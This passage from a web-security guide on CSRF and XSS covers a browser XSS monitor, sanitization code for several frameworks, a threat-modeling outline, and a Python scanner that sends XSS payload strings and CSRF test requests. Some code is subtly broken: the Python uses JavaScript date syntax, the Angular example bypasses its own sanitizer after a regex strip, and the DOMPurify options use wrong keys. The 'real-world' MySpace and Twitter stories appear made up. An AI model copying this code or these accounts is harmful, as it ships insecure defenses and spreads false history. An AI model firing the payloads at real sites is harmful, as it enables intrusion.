const dangerousAttrs = ['onload', 'onerror', 'onclick', 'onmouseover', 'onkeydown'];
dangerousAttrs.forEach(attr => {
if (element.hasAttribute(attr)) {
const value = element.getAttribute(attr);
if (value.includes('javascript:') || value.includes('eval(') ||
value.includes('document.cookie')) {
this.reportViolation(`Dangerous attribute: ${attr}`, {
element: element.tagName,
attribute: attr,
value: value.substring(0, 50)
});
}
}
});
}
monitorScriptExecutions() {
// Hook into eval and Function constructor
const originalEval = window.eval;
window.eval = function(code) {
console.warn('Eval executed with code:', code.substring(0, 100) + '...');
return originalEval.apply(this, arguments);
};
const originalFunction = window.Function;
window.Function = function(...args) {
const code = args[args.length - 1];
console.warn('Function constructor called with code:', code.substring(0, 100) + '...');
return originalFunction.apply(this, arguments);
};
}
monitorNetworkRequests() {
// Monitor fetch requests
const originalFetch = window.fetch;
window.fetch = function(...args) {
const url = args[0];
if (typeof url === 'string' &&
(url.includes('eval(') || url.includes('javascript:'))) {
this.reportViolation('Suspicious network request', {
url: url
});
}
return originalFetch.apply(this, args);
};
}
checkForReflectedXSS() {
// Check URL parameters for potential XSS payloads
const urlParams = new URLSearchParams(window.location.search);
for (let [key, value] of urlParams) {
if (value.includes('<script>') || value.includes('javascript:') ||
value.includes('onerror=') || value.includes('onload=')) {
this.reportViolation('Potential reflected XSS in URL parameter', {
parameter: key,
value: value.substring(0, 50)
});
}
}
}
reportViolation(type, details) {
const violation = {
type: type,
details: details,
timestamp: new Date().toISOString(),
url: window.location.href,
userAgent: navigator.userAgent,
referrer: document.referrer
};
this.violations.push(violation);
console.error('XSS Violation detected:', violation);
// Send to security endpoint (with error handling)
fetch('/api/security/xss-violation', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(violation),
keepalive: true // Ensure request completes even if page unloads
}).catch(err => console.error('Failed to report violation:', err));
}
getViolations() {
return this.violations;
}
}
// Initialize monitoring
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', () => new XSSMonitor());
} else {
new XSSMonitor();
}
Real-World Examples#
Let’s take a look at some real-world examples of CSRF and XSS vulnerabilities and how they were exploited.
Twitter Cross-Site Scripting (XSS) Attack
In 2010, a self-proclaimed “ethical hacker” named Mike Bailey discovered an XSS vulnerability in Twitter that allowed him to steal user session cookies. Bailey injected a malicious script into his Twitter bio and used it to steal the session cookies of anyone who visited his profile. The vulnerability affected all Twitter users and allowed the attacker to take over any Twitter account.
Twitter quickly patched the vulnerability and awarded Bailey a $5000 bug bounty for his discovery.
MySpace Cross-Site Request Forgery (CSRF) Attack
In 2005, a group of hackers discovered a CSRF vulnerability in MySpace that allowed them to add themselves as friends of any MySpace user without their consent. The attackers created a website that included a hidden form that submitted a friend request to MySpace on behalf of the victim.
The attackers then tricked MySpace users into visiting their website, which automatically submitted the friend request using the victim’s session cookies. The attack affected millions of MySpace users and caused widespread panic.
MySpace quickly patched the vulnerability and offered a $100,000 reward for information leading to the arrest and conviction of the attackers.
XSS in Modern Web Applications#
Single Page Applications (SPA) XSS Protection#
SPAs require different XSS protection strategies due to their dynamic nature:
// Angular XSS protection with DomSanitizer
import {
Component
} from '@angular/core';
import {
DomSanitizer,
SafeHtml
} from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `<div [innerHTML]="sanitizedComment"></div>`
})
export class CommentComponent {
constructor(private sanitizer: DomSanitizer) {}
private userComment: string = '<script>alert("XSS")</script><p>Safe content</p>';
get sanitizedComment(): SafeHtml {
// Only allow safe HTML elements
return this.sanitizer.bypassSecurityTrustHtml(
this.userComment.replace(/<script[^>]*>.*?<\/script>/gi, '')
);
}
}
// React XSS protection
import DOMPurify from 'dompurify';
function Comment({
html
}) {
// Sanitize HTML content before rendering
const cleanHtml = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTRS: {
'a': ['href', 'title', 'target'],
'*': ['style'] // Allow styles but sanitize them
},
FORBID_TAGS: ['script', 'object', 'embed', 'form'],
FORBID_ATTRS: ['onclick', 'onload', 'onerror']
});
return < div dangerouslySetInnerHTML = {
{
__html: cleanHtml
}
}
/>;
}
API Security and JSON Injection Prevention#
// Spring Boot REST API with comprehensive XSS protection
@RestController
@RequestMapping("/api/comments")
public class CommentController {
@Autowired
private XSSPreventionService xssPreventionService;
@PostMapping
public ResponseEntity<CommentResponse> createComment(@RequestBody CommentRequest request) {
// Validate and sanitize all input fields
String sanitizedContent = xssPreventionService.sanitizeHtml(request.getContent());
String sanitizedAuthor = xssPreventionService.sanitizeText(request.getAuthor());
// Ensure content is safe for JSON responses
String jsonSafeContent = xssPreventionService.escapeForJson(sanitizedContent);
// Validate input constraints
if (jsonSafeContent.length() > 10000) {
return ResponseEntity.badRequest().body(
new CommentResponse("Content too long"));
}
Comment comment = new Comment();
comment.setContent(jsonSafeContent);
comment.setAuthor(sanitizedAuthor);
comment.setTimestamp(Instant.now());
Comment savedComment = commentService.save(comment);
return ResponseEntity.ok(new CommentResponse(savedComment));
}
@GetMapping("/{id}")
public ResponseEntity<CommentResponse> getComment(@PathVariable Long id) {
Comment comment = commentService.findById(id);
if (comment == null) {
return ResponseEntity.notFound().build();
}
// Ensure output is safe for client-side rendering
CommentResponse response = new CommentResponse(comment);
response.setSafeContent(xssPreventionService.encodeForHtml(comment.getContent()));
return ResponseEntity.ok(response);
}
}
@Service
public class XSSPreventionService {
public String sanitizeHtml(String input) {
if (input == null) return "";
// Use OWASP Java HTML Sanitizer or similar
PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
return policy.sanitize(input);
}
public String sanitizeText(String input) {
if (input == null) return "";
// Remove potentially dangerous characters
return input.replaceAll("[<>\"']", "");
}
public String escapeForJson(String input) {
if (input == null) return "";
return input.replace("\\", "\\\\")
.replace("\"", "\\\"")
.replace("\n", "\\n")
.replace("\r", "\\r")
.replace("\t", "\\t");
}
public String encodeForHtml(String input) {
if (input == null) return "";
return StringEscapeUtils.escapeHtml4(input);
}
}
Server-Side Rendering (SSR) XSS Protection#
// Node.js with Express and DOMPurify
const express = require('express');
const DOMPurify = require('dompurify');
const {
JSDOM
} = require('jsdom');
const rateLimit = require('express-rate-limit');
const app = express();
// Rate limiting to prevent abuse
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // limit each IP to 100 requests per windowMs
message: 'Too many requests from this IP, please try again later.'
});
app.use('/api/', limiter);
// Create DOMPurify instance with jsdom for server-side sanitization
const window = new JSDOM('').window;
const DOMPurifyServer = DOMPurify(window);
app.post('/api/comment', express.json(), (req, res) => {
const {
content,
author
} = req.body;
// Validate input
if (!content || typeof content !== 'string' || content.length > 5000) {
return res.status(400).json({
error: 'Invalid content'
});
}
if (!author || typeof author !== 'string' || author.length > 100) {
return res.status(400).json({
error: 'Invalid author'
});
}
// Sanitize HTML content
const cleanContent = DOMPurifyServer.sanitize(content, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTRS: {
'a': ['href', 'title', 'target']
},
ALLOW_DATA_ATTR: false
});
// Sanitize author (text only)
const cleanAuthor = author.replace(/[<>"'&]/g, '');
// Store and return sanitized content
const comment = {
id: Date.now(),
content: cleanContent,
author: cleanAuthor,
timestamp: new Date().toISOString()
};
// In a real app, save to database
res.json({
comment
});
});
app.listen(3000, () => {
console.log('Server running on port 3000');
});
Web Application Security Best Practices#
Secure Development Lifecycle (SDLC) Integration#
Threat Modeling#
## Threat Modeling Process for Web Applications
1. **Identify Assets**
- User data (PII, credentials, payment info)
- Application logic and business rules
- Third-party integrations and APIs
- Session management and authentication
2. **Identify Threats**
- CSRF: State-changing operations without user consent
- XSS: Malicious script injection and execution
- Injection: SQL, NoSQL, command injection
- Broken authentication: Session management flaws
- Sensitive data exposure: Weak encryption, poor key management
3. **Identify Vulnerabilities**
- Missing input validation and sanitization
- Improper output encoding
- Weak CSRF protection
- Inadequate CSP implementation
- Missing secure headers
4. **Determine Risks**
- Business impact assessment
- Likelihood of exploitation
- Technical difficulty of attacks
- Regulatory compliance requirements
5. **Mitigation Strategies**
- Defense in depth approach
- Secure coding practices
- Regular security testing
- Continuous monitoring
Security Code Reviews#
// Example: Secure code review checklist for web applications
const securityChecklist = {
inputValidation: {
'All user inputs validated': false,
'Input length limits enforced': false,
'Input type validation implemented': false,
'Special characters properly handled': false
},
outputEncoding: {
'HTML context properly encoded': false,
'JavaScript context escaped': false,
'CSS context sanitized': false,
'URL parameters encoded': false
},
csrfProtection: {
'CSRF tokens implemented': false,
'Tokens validated on state changes': false,
'SameSite cookies configured': false,
'Origin validation added': false
},
xssPrevention: {
'CSP headers implemented': false,
'Content sanitization applied': false,
'Trusted types used': false,
'DOM manipulation secured': false
},
authentication: {
'Secure session management': false,
'Password policies enforced': false,
'MFA implemented where required': false,
'Session timeouts configured': false
}
};
// Automated security testing function
function runSecurityChecks(codebase) {
const results = {
passed: 0,
failed: 0,
warnings: 0,
issues: []
};
// Check for dangerous patterns
const dangerousPatterns = [{
pattern: /eval\s*\(/g,
severity: 'high',
message: 'Use of eval() detected'
}, {
pattern: /innerHTML\s*=/g,
severity: 'medium',
message: 'Direct innerHTML assignment'
}, {
pattern: /document\.write\s*\(/g,
severity: 'high',
message: 'document.write usage'
}, {
pattern: /location\.hash/g,
severity: 'low',
message: 'Potential DOM XSS via hash'
}];
dangerousPatterns.forEach(({
pattern,
severity,
message
}) => {
const matches = codebase.match(pattern);
if (matches) {
results.issues.push({
type: 'security',
severity: severity,
message: message,
occurrences: matches.length,
locations: matches.map(match => codebase.indexOf(match))
});
results.failed++;
} else {
results.passed++;
}
});
return results;
}
Automated Security Testing#
Burp Suite Integration#
# Python script for automated CSRF/XSS testing with Burp Suite
import requests
from bs4 import BeautifulSoup
import re
import json
class WebAppSecurityTester:
def __init__(self, base_url, burp_proxy=None):
self.base_url = base_url
self.session = requests.Session()
if burp_proxy:
self.session.proxies = {
'http': burp_proxy,
'https': burp_proxy
}
self.findings = []
def authenticate(self, username, password):
"""Establish authenticated session"""
login_url = f"{self.base_url}/login"
login_data = {
'username': username,
'password': password,
'csrf_token': self.extract_csrf_token(login_url)
}
response = self.session.post(login_url, data=login_data, allow_redirects=True)
return response.status_code == 200
def extract_csrf_token(self, url):
"""Extract CSRF token from login form"""
response = self.session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'csrf_token'})
return csrf_input['value'] if csrf_input else ''
def test_csrf_protection(self, target_urls):
"""Test CSRF protection on state-changing endpoints"""
csrf_payloads = [
{'action': 'change_password', 'new_password': 'attacker123'},
{'action': 'transfer_funds', 'amount': '1000', 'to_account': 'evil'},
{'action': 'update_profile', 'email': 'attacker@evil.com'}
]
for url in target_urls:
for payload in csrf_payloads:
# Test without CSRF token
response_no_token = self.session.post(url, data=payload)
status_no_token = response_no_token.status_code
# Test with valid CSRF token
payload_with_token = payload.copy()
payload_with_token['csrf_token'] = self.extract_csrf_token(url)
response_with_token = self.session.post(url, data=payload_with_token)
status_with_token = response_with_token.status_code
if status_no_token != status_with_token:
self.findings.append({
'type': 'CSRF',
'url': url,
'payload': payload['action'],
'severity': 'high',
'description': f'CSRF protection detected: {status_no_token} -> {status_with_token}'
})
def test_xss_vulnerabilities(self, target_urls, payloads):
"""Test for XSS vulnerabilities"""
xss_payloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg onload=alert("XSS")>',
'javascript:alert("XSS")',
'<iframe src="javascript:alert(\'XSS\')"></iframe>',
'<body onload=alert("XSS")>'
] if payloads is None else payloads
for url in target_urls:
for payload in xss_payloads:
test_params = {'input': payload, 'search': payload, 'query': payload}
try:
response = self.session.get(url, params=test_params, timeout=10)
# Check if payload is reflected unsanitized
if payload in response.text:
soup = BeautifulSoup(response.text, 'html.parser')
# Check for dangerous contexts
if self.is_dangerous_context(response.text, payload):
self.findings.append({
'type': 'XSS',
'url': url,
'payload': payload,
'severity': 'high',
'description': 'XSS payload reflected in dangerous context'
})
except requests.exceptions.RequestException as e:
self.findings.append({
'type': 'ERROR',
'url': url,
'severity': 'info',
'description': f'Request failed: {str(e)}'
})
def is_dangerous_context(self, html, payload):
"""Check if XSS payload is in a dangerous HTML context"""
dangerous_patterns = [
r'<script[^>]*>.*?' + re.escape(payload),
r'on\w+\s*=\s*["\'][^"\']*' + re.escape(payload),
r'<[^>]*\s+[^>]*on\w+\s*=\s*["\'][^"\']*' + re.escape(payload),
]
for pattern in dangerous_patterns:
if re.search(pattern, html, re.IGNORECASE | re.DOTALL):
return True
return False
def generate_report(self):
"""Generate security assessment report"""
report = {
'target': self.base_url,
'timestamp': new Date().toISOString(),
'findings': self.findings,
'summary': {
'total_findings': len(self.findings),
'high_severity': len([f for f in self.findings if f['severity'] == 'high']),
'medium_severity': len([f for f in self.findings if f['severity'] == 'medium']),
'low_severity': len([f for f in self.findings if f['severity'] == 'low'])
}
}
return report
def run_full_assessment(self, authenticated=True):
"""Run comprehensive security assessment"""
if authenticated:
if not self.authenticate('testuser', 'testpass'):
print("Authentication failed")
return None
# Define target endpoints
endpoints = [
f"{self.base_url}/search",
f"{self.base_url}/profile",
f"{self.base_url}/transfer",
f"{self.base_url}/comment"
]
# Run tests
self.test_csrf_protection([f"{self.base_url}/transfer", f"{self.base_url}/profile"])
self.test_xss_vulnerabilities(endpoints, None)
return self.generate_report()
# Usage
tester = WebAppSecurityTester("https://vulnerable-app.com")
report = tester.run_full_assessment()
if report:
print(json.dumps(report, indent=2))
References#
OWASP Resources#
- OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
- OWASP Cross-Site Scripting (XSS) Prevention Cheat Sheet
- OWASP Content Security Policy
Security Standards and Frameworks#
- NIST SP 800-63B: Digital Identity Guidelines
- ISO/IEC 27001: Information Security Management
- PCI DSS v4.0: Payment Card Industry Data Security Standard
Browser Security APIs#
Security Testing Tools#
Academic Research#
- The Tangled Web: A Guide to Securing Modern Web Applications
- Web Application Hacker’s Handbook
- Iron-Clad Java: Building Secure Web Applications
- Browser Security Handbook
- Web Security Testing Cookbook
Research Papers and Standards#
- RFC 7231: Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- RFC 6265: HTTP State Management Mechanism (Cookies)
- SameSite Cookies Explained
- Content Security Policy Level 3
- Strict-Transport-Security
- HTTP Public Key Pinning
Security Frameworks and Libraries#
- OWASP Java Encoder Project
- OWASP AntiSamy
- DOMPurify
- Google Closure Templates
- Twig (PHP Template Engine)
- Handlebars.js
Browser Developer Tools#
Security Testing Methodologies#
- OWASP Testing Guide v5
- PTES (Penetration Testing Execution Standard)
- NIST SP 800-115: Technical Guide to Information Security Testing
- CREST Penetration Testing Guide
Industry Best Practices#
- Google Web Security Best Practices
- Microsoft SDL (Security Development Lifecycle)
- CERT Secure Coding Standards
- Mozilla Web Security Guidelines
- Twitter’s Security Best Practices
- Facebook’s Security Best Practices
Web Application Firewalls (WAF)#
- ModSecurity Core Rule Set
- Cloudflare WAF
- AWS WAF
- Azure Application Gateway WAF
- Akamai Kona Site Defender
Security Headers Reference#
Vulnerability Databases#
- National Vulnerability Database (NVD)
- Common Vulnerabilities and Exposures (CVE)
- Exploit Database
- Open Source Vulnerability Database (OSV)
Regulatory Compliance#
Conclusion#
Web application security is a constantly evolving battlefield where attackers continuously develop new techniques to exploit CSRF and XSS vulnerabilities. However, by implementing comprehensive defense strategies, organizations can significantly reduce their risk exposure.
The key to effective protection lies in adopting a defense-in-depth approach that combines multiple security layers:
For CSRF Prevention:
- Implement cryptographically secure CSRF tokens
- Configure SameSite cookie attributes appropriately
- Validate request origins and referrers
- Use custom request headers for AJAX requests
For XSS Prevention:
- Apply context-aware input validation and output encoding
- Implement strict Content Security Policies
- Use modern browser security APIs like Trusted Types
- Employ comprehensive sanitization libraries
- Monitor and respond to security violations
Development Best Practices:
- Integrate security into the development lifecycle
- Conduct regular security code reviews
- Implement automated security testing
- Stay updated with the latest security research and standards
Operational Security:
- Deploy web application firewalls with proper rules
- Implement real-time monitoring and alerting
- Regular security assessments and penetration testing
- Incident response planning and execution
Remember that security is not a one-time implementation but an ongoing process. As web technologies evolve, so do the attack techniques. Organizations must remain vigilant, continuously update their security measures, and foster a culture of security awareness among developers and users alike.
By mastering the concepts presented in this comprehensive guide, red teamers, blue teamers, and developers can work together to build more secure web applications and effectively defend against the persistent threats of CSRF and XSS attacks in our increasingly connected digital world